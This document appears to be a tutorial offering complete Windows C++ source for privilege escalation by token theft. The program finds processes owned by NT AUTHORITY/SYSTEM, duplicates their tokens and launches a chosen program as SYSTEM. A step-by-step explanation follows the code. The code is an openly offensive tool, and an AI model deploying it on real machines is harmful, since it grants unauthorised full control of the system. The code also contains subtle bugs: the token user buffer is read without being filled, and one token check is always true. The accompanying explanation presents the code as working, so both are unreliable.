Escalate Privileges via Token Manipulation

C++ Code

```cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>

using namespace std;

HANDLE getToken(DWORD pid) {
    string userProcess;
    HANDLE cToken = NULL;
    HANDLE ph = NULL;
    ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, pid);
    if (ph == NULL) {
        cToken = (HANDLE)NULL;
    } else {
        BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &cToken);
        if (!res) {
            cToken = (HANDLE)NULL;
        } else {
        }
    }
    if (ph != NULL) {
        CloseHandle(ph);
    }
    return cToken;
}

BOOL createProcess(HANDLE token, LPCWSTR app) {
    // initialize variables
    HANDLE dToken = NULL;
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    BOOL res = TRUE;
    ZeroMemory(&si, sizeof(STARTUPINFOW));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFOW);

    res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &dToken);
    res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &si, &pi);
    return res;
}

string GetProcessUserName(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (!hProcess) return "";
    HANDLE hToken = NULL;
    if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
        CloseHandle(hProcess);
        return "";
    }
    DWORD dwSize = 0;
    GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
    PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(dwSize);
    SID_NAME_USE SidType;
    char lpName[MAX_PATH];
    DWORD dwNameSize = MAX_PATH;
    char lpDomain[MAX_PATH];
    DWORD dwDomainSize = MAX_PATH;
    if (!LookupAccountSid(NULL, pTokenUser->User.Sid, lpName, &dwNameSize, lpDomain, &dwDomainSize, &SidType)) {
        free(pTokenUser);
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return "";
    }
    string username(lpDomain);
    username += "/";
    username += lpName;
    free(pTokenUser);
    CloseHandle(hToken);
    CloseHandle(hProcess);
    return username;
}


int main(){
    string username;
    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    string app;
    string userProcess;
    int pid = 0;

    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    cout << "Enter the path of the application you want to run as SYSTEM: ";
    cin >> app;
    wstring wapp = wstring(app.begin(), app.end());
    LPCWSTR LPCapp = wapp.c_str();

    if(!Process32First(hProcSnap, &pe32)) {
        CloseHandle(hProcSnap);
        return 0;
    }

    while (Process32Next(hProcSnap, &pe32)) {
        pid = pe32.th32ProcessID;
        username = GetProcessUserName(pid);
        if (username == "" || username == "NT AUTHORITY/SYSTEM") {
            // get username of process
            bool success = false;
            HANDLE cToken = getToken(pid);
            if (cToken != NULL || cToken == 0){
                success = createProcess(cToken, LPCapp);
                if(success){
                    break;
                }
            }
        }
    }
    CloseHandle(hProcSnap);
    return 0;
}
```

This C++ code is designed to enumerate running processes on a Windows system and attempt to run a specified application as the SYSTEM user from an account that has the necessary privileges. It does this by finding a suitable process with the required privileges and then creating a new process with the elevated token. Here's a breakdown of the key components and functions in this code:

1. **Include Header Files**:
   - The code includes several header files, including `<windows.h>` for Windows API functions, `<tlhelp32.h>` for process enumeration, `<iostream>` for input and output operations, and `<string>` for string handling.
2. **getToken(DWORD pid)**:
   - This function attempts to obtain the access token of a process with a given PID.
   - It uses `OpenProcess` to open the target process and `OpenProcessToken` to retrieve its token.
   - If successful, it returns the obtained token; otherwise, it returns `NULL`.
3. **createProcess(HANDLE token, LPCWSTR app)**:
   - This function creates a new process with a specified access token.
   - It duplicates the provided token using `DuplicateTokenEx` and then uses `CreateProcessWithTokenW` to create a new process with the duplicated token.
   - It returns `TRUE` if the process creation is successful and `FALSE` otherwise.
4. **GetProcessUserName(DWORD pid)**:
   - This function retrieves the username associated with a process's token.
   - It opens the process using `OpenProcess` and its token using `OpenProcessToken`.
   - It then uses `LookupAccountSid` to get the username associated with the token's SID.
   - It returns the username as a string.
5. **Main Function**:
   - The `main` function is where the program starts its execution.
   - It first initializes variables and prompts the user to enter the path of the application they want to run as SYSTEM.
   - It then enumerates running processes using `CreateToolhelp32Snapshot` and `Process32Next`.
6. **Process Enumeration Loop**:
   - For each process found, it obtains the username associated with the process's token using `GetProcessUserName`.
   - If the username is either empty or "NT AUTHORITY/SYSTEM," it proceeds to attempt privilege escalation.
7. **Privilege Escalation Attempt**:
   - It calls the `getToken` function to obtain the process token.
   - If a valid token is obtained, it calls the `createProcess` function to create a new process with the provided application path and the elevated token.
   - If successful, it sets the `success` flag to `true` and breaks out of the loop.
8. **Closing Handles and Exiting**:
   - The program closes the process snapshot handle and exits.